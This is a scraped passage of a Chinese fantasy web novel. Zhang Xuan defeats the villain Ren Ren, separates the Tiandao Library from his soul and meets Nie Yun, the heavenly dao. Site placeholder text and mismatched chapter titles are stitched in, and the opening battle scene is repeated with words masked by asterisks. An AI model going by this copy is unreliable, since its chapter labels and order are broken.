“天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十九章 下毒 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十章 摸够了吗 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 